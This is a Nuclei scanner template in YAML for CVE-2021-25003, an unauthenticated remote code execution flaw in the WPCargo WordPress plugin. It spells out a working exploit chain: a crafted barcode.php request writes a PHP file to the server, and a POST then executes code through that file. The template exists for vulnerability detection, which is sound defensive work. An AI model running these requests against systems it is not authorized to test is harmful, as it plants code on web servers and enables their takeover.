id: CVE-2021-25003

info:
  name: WPCargo < 6.9.0 - Unauthenticated Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    The WPCargo Track & Trace WordPress plugin before 6.9.0 contains a file which could allow unauthenticated attackers to write a PHP file anywhere on the web server, leading to RCE.
  reference:
    - https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a
    - https://wordpress.org/plugins/wpcargo/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25003
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-25003
    cwe-id: CWE-434
  metadata:
    verified: "true"
  tags: rce,wpcargo,unauth,cve,cve2021,wordpress,wp,wp-plugin,wpscan

variables:
  num: "999999999"

requests:
  - raw:
      - |
        GET /wp-content/plugins/wpcargo/includes/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/plugins/wpcargo/includes/barcode.php?text=x1x1111x1xx1xx111xx11111xx1x111x1x1x1xxx11x1111xx1x11xxxx1xx1xxxxx1x1x1xx1x1x11xx1xxxx1x11xx111xxx1xx1xx1x1x1xxx11x1111xxx1xxx1xx1x111xxx1x1xx1xxx1x1x1xx1x1x11xxx11xx1x11xx111xx1xxx1xx11x1x11x11x1111x1x11111x1x1xxxx&sizefactor=.090909090909&size=1&filepath={{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-content/plugins/wpcargo/includes/{{randstr}}.php?1=var_dump HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        2={{md5(num)}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 != 200"
          - "status_code_2 == 200"
          - "status_code_3 == 200"
          - "contains(body_3, md5(num))"
          - "contains(body_3, 'PNG')"
        condition: and